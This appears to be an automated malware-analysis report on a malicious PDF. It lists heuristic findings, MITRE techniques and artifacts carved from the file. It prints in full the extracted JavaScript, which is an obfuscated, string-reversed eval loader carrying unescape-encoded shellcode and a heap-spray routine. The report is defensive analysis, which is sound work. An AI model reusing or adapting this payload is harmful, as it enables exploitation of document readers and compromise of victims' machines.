MALICIOUS
68
Risk Score
Malware Insights
MITRE ATT&CK
T1059.007 JavaScript
T1566.001 Spearphishing Attachment
The PDF document contains embedded JavaScript, identified by multiple heuristics, which is designed to download and execute a secondary payload. The ML classifier strongly indicates maliciousness. The embedded URL is suspicious and likely part of the download chain.
Machine Learning
- Nyx PDF Classifier malicious score 0.9996
Heuristics 4
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Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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JavaScript action low 1 related finding PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.bitstream.com In PDF document text
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0012_000.js |
pdf-javascript-stream | PDF /JS object 12 at offset 0x104F0 | 3580 bytes |
SHA-256: bf10f9dc3aadede7f0f183528796430498d4f0c4009e5c641f868aa148d5aef2 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var eva=new Function("a","ev al (a);".split(" ").join(""));
var s=' ;"s"+3_ozotlav=]i_ozotlav[4_ozotlav )++i_ozotlav;0f1x0<i_ozotlav;0=i_ozotlav( rof ;)(yarrA wen = 4_ozotlav rav ;)2 / )80x0-0201x0( - 00008x0 ,0(gnirtsbus.d_ozotlav = 3_ozotlav ;d_ozotlav =+ d_ozotlav )00008x0 < htgnel.d_ozotlav(elihw ;)2/63556 ,0(gnirtsbus.b_ozotlav = d_ozotlav ;c_ozotlav =+ b_ozotlav ;olygak =+ b_ozotlav ;)2/)42x0-c0c0x0( ,0(gnirtsbus.c_ozotlav = b_ozotlav ;c_ozotlav=+c_ozotlav )63556 < 8 + 02 + htgnel.c_ozotlav( elihw ;) "c" + "0" + "c" + "0" + "u" + "%" + "c" + "0" + "c" + "0" + "u" + "%" (epak = c_ozotlav rav ;) )""(nioj.)" "(tilps.)"%" ,"Q"(ecalper.)" " ,"P"(ecalper."9814uQdec7uQ4728uQ545duQ597euQ5d53uQ6f06uQ5df1uQ0f3buQ44a6uQ819buQffdauQ86cbuQ8fcauQ95c3uQdfe2uQ26efuQf9c8uQ6fbbuQ7f0cuQba98uQ8fa8uQ87cauQf757uQ3f32uQ6144uQ8e30uQ41a3uQd4a3uQ1c6buQf0c2uQ59f8uQ34ebuQ8292uQ316duQ5441uQ20a6uQd947uQ6812uQ5ce4uQ140auQc4fauQ9249uQ94a7uQd607uQcfceuQ6ea7uQf296uQd3b7uQb59cuQ89bduQf7c3uQb50auQ2cb3uQf235uQ91c4uQ7e35uQ49c0uQ8da5uQ8af5uQ71b6uQ87d0uQ3686uQ3f5buQe112uQe15auQeb01uQ419fuQ4f8euQbbd6uQae8buQec7duQf466uQe6fauQf99euQ25e8uQaebauQff91uQ13cduQc0b4uQ4f0auQ9f90uQ4cf6uQ4a9auQ83d6uQ667auQ4f1auQ5510uQ18e8uQcdbauQ5097uQ745cuQ7494uQaad2uQ30b1uQ7f99uQ45e4uQ6cb8uQddbauQ538euQ2135uQddd9uQ30f4uQ8ecfuQ0138uQ1387uQ4f85uQ4742uQ339duQ0c1buQ7edduQ1df7uQfb73uQ139cuQ0070uQf211uQ0070uQ137duQ0070uQd451uQff09uQffffuQ0070uQbb51uQ0070uQ227auQ0070uQd451uQ0909uQ0909uQ0070uQbb51uQ0070uQ227auQ0070uQd451uQ0909uQ0909uQ0070uQbb51uQ0070uQ227auQ0070uQd451uQ0909uQff09uQ0070uQbb51uQ0070uQ227auQ0070uQd451uQffffuQ8e6euQ0070uQbb51uQ0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQPbPeP5P0PuPQP5P7PePePuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQPcP0PcP0PuPQPcP0PcP0PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQP1P8PbPfPuPQP2PcP4P0PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQP4P0P3P8PuPQP3P8P0PcPuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQP9P8P8P1PuPQPbP8PaP1PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQP5P1P8P5PuPQPaP5PbPePuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2P2P7PaPuPQP0P0P7P0PuPQPdP4P5P1PuPQP4P5P0P9PuPQPaP5P0P9PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP1P3P7PdPuPQP0P0P0P0PuPQP0P4P0P0PuPQP0P0P0P0PuPQP0P0P0P1PuPQP1P0P0P0PuPQP4P0P1P0PuPQP0P0P0P0PuPQP0P0P0P0PuPQP1P0P0P0PuPQP0P0P1P0PuPQPfPfPfPfPuPQPfPfPfPfPuPQP0P0P7P0PuPQP4P5PcP5PuPQP0P0P7P0PuPQP2PeP2P5PuPQP1P0P0P0PuPQP1P1P0P0PuPQP0P0P7P0PuPQP7PfP2P7PuPQP0P0P7P0PuPQPcPaP8PaPuPQP1P0P0P0PuPQP0P0P1P0PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQPcPaP8PaPuPQP1P0P0P0PuPQP1P1P0P0PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQP2PbPfP7PuPQPePfPfP7PuPQP0P0P3P0PuPQP0P0P7P0PuPQPbPbP5P1PuPQP0P0P7P0PuPQPdP4P5P1PuPQP0P0P0P0PuPQP0P0P0P1PuPQP0P0P7P0PuPQPbPbP5P1PuPQP1P0P0P0PuPQP4P0P1P0PuPQP0P0P7P0PuPQP7PfP2P7PuPQP1P0P0P0PuPQP4P2P1P0PuPQP0P0P7P0PuPQP9P9P5P1PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQPcP0PcP0PuPQPcP0PcP0PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP3P3P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQP0P0P7P0PuPQP4P8P0P9PuPQPcPcPcPcPuPQPcPcPcPcPuPQP0P0P7P0PuPQPfP6P5P1PuPQP0P0P7P0PuPQPfPeP8P4PuPQPcPcPcPcPuPQPcPcPcPcPuPQP0P0P7P0PuPQP9P1P9P4PuPQPcP0PcP0PuPQPcP0PcP0PuPQP" (epak = olygak rav ;epacsenu = epak rav ';
eva(s.split("").reverse().join(""));
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font_00_sfnt_off00000319.bin |
pdf-font-stream | PDF embedded font (sfnt) at offset 0x319 | 65932 bytes |
SHA-256: 67cf5b115c479e7cc69ef02607414d718125a1e117a59d537db3e97682d5b723 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis found candidate code region(s). Indicators: heap spray 0x41 (A)
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